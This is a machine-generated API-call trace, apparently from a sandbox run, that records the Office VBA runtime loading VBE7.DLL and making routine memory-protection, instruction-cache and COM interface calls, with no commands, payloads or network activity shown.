ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fed90, pbstrName=0x0, pwOrdinal=0x1fedb0 | out: pBstrDllName=0x1fed90*=0x0, pbstrName=0x0, pwOrdinal=0x1fedb0*=0xf020) returned 0x0 [0076.263] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fed90, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fed90, pwOrdinal=0x500000000) returned 0x0 [0076.263] IMalloc:Free (This=0x7fefe465380, pv=0x666f590) [0076.263] GetCurrentProcess () returned 0xffffffffffffffff [0076.263] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.263] GetCurrentProcess () returned 0xffffffffffffffff [0076.263] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.264] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.264] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.264] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.264] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.264] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.264] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.264] GetCurrentProcess () returned 0xffffffffffffffff [0076.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.265] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.265] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.265] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.265] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.265] GetCurrentProcess () returned 0xffffffffffffffff [0076.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.266] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff4ec | out: lpflOldProtect=0x1ff4ec*=0x40) returned 1 [0076.266] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.266] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.266] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.266] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c1f) returned 1 [0076.266] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.267] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x252) returned 0x7fee5ee5210 [0076.267] GetCurrentProcess () returned 0xffffffffffffffff [0076.267] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x64893b4, dwSize=0x3b) returned 1 [0076.267] RtlLookupFunctionEntry (in: ControlPc=0x64893b4, ImageBase=0x1ff378, HistoryTable=0x1ff380 | out: ImageBase=0x1ff378, HistoryTable=0x1ff380) returned 0x0 [0076.267] VirtualProtect (in: lpAddress=0x64893b4, dwSize=0x3c, flNewProtect=0x40, lpflOldProtect=0x1ff47c | out: lpflOldProtect=0x1ff47c*=0x40) returned 1 [0076.267] RtlAddFunctionTable (FunctionTable=0x64893fc, EntryCount=0x1, BaseAddress=0x6489300, TargetGp=0x1ff47c) returned 1 [0076.267] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.267] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.267] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.267] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c20) returned 1 [0076.267] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.268] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x251) returned 0x7fee5ee5248 [0076.268] GetCurrentProcess () returned 0xffffffffffffffff [0076.268] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489474, dwSize=0x3b) returned 1 [0076.268] RtlLookupFunctionEntry (in: ControlPc=0x6489474, ImageBase=0x1ff378, HistoryTable=0x1ff380 | out: ImageBase=0x1ff378, HistoryTable=0x1ff380) returned 0x0 [0076.268] VirtualProtect (in: lpAddress=0x6489474, dwSize=0x3c, flNewProtect=0x40, lpflOldProtect=0x1ff47c | out: lpflOldProtect=0x1ff47c*=0x40) returned 1 [0076.268] RtlAddFunctionTable (FunctionTable=0x64894bc, EntryCount=0x1, BaseAddress=0x6489400, TargetGp=0x1ff47c) returned 1 [0076.268] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.268] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.268] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.268] IUnknown:Release (This=0xb824728) returned 0x2 [0076.268] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.268] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.268] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.268] IUnknown:Release (This=0xb824780) returned 0x5 [0076.268] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.268] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.268] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.268] IUnknown:Release (This=0xb824678) returned 0x1 [0076.268] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.268] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.268] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.268] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.268] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.268] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.268] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.268] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.268] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.268] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.268] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.268] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.268] IUnknown:AddRef (This=0xb941878) returned 0x5 [0076.268] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.268] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.268] IUnknown:Release (This=0xb941878) returned 0x4 [0076.268] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.268] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.268] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.268] IUnknown:Release (This=0xb941980) returned 0x4 [0076.268] IUnknown:AddRef (This=0xb941ae0) returned 0x3 [0076.268] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.268] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.268] IUnknown:Release (This=0xb941ae0) returned 0x2 [0076.269] IUnknown:AddRef (This=0xb941a30) returned 0x4 [0076.269] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a8 | out: ppvObject=0x2008a8*=0x0) returned 0x80004002 [0076.269] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2008a0 | out: ppvObject=0x2008a0*=0x0) returned 0x80004002 [0076.269] IUnknown:Release (This=0xb941a30) returned 0x3 [0076.279] GetLocalTime (in: lpSystemTime=0x200b58 | out: lpSystemTime=0x200b58*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x38f)) [0076.279] VarAdd (in: pvarLeft=0xb824168, pvarRight=0xb824138, pvarResult=0xb824108 | out: pvarResult=0xb824108) returned 0x0 [0076.279] VarAdd (in: pvarLeft=0xb824108, pvarRight=0xb824150, pvarResult=0xb8240d8 | out: pvarResult=0xb8240d8) returned 0x0 [0076.279] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0x5, _Src=0x57910ee | out: _Dst=0x66c01b0) returned 0x0 [0076.279] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.279] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.279] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.279] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0x6, _Src=0x5792d86 | out: _Dst=0x66c01b0) returned 0x0 [0076.279] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.279] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.279] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.279] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x1ff3a0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.280] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff3a0, pbstrName=0x0, pwOrdinal=0x1ff3c0 | out: pBstrDllName=0x1ff3a0*=0x0, pbstrName=0x0, pwOrdinal=0x1ff3c0*=0xf630) returned 0x0 [0076.280] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff3a0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff3a0, pwOrdinal=0x500000000) returned 0x0 [0076.280] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x1ff190, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.280] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff190, pbstrName=0x0, pwOrdinal=0x1ff1b0 | out: pBstrDllName=0x1ff190*=0x0, pbstrName=0x0, pwOrdinal=0x1ff1b0*=0xf420) returned 0x0 [0076.280] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000) returned 0x0 [0076.280] IMalloc:Free (This=0x7fefe465380, pv=0x666f170) [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.280] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff 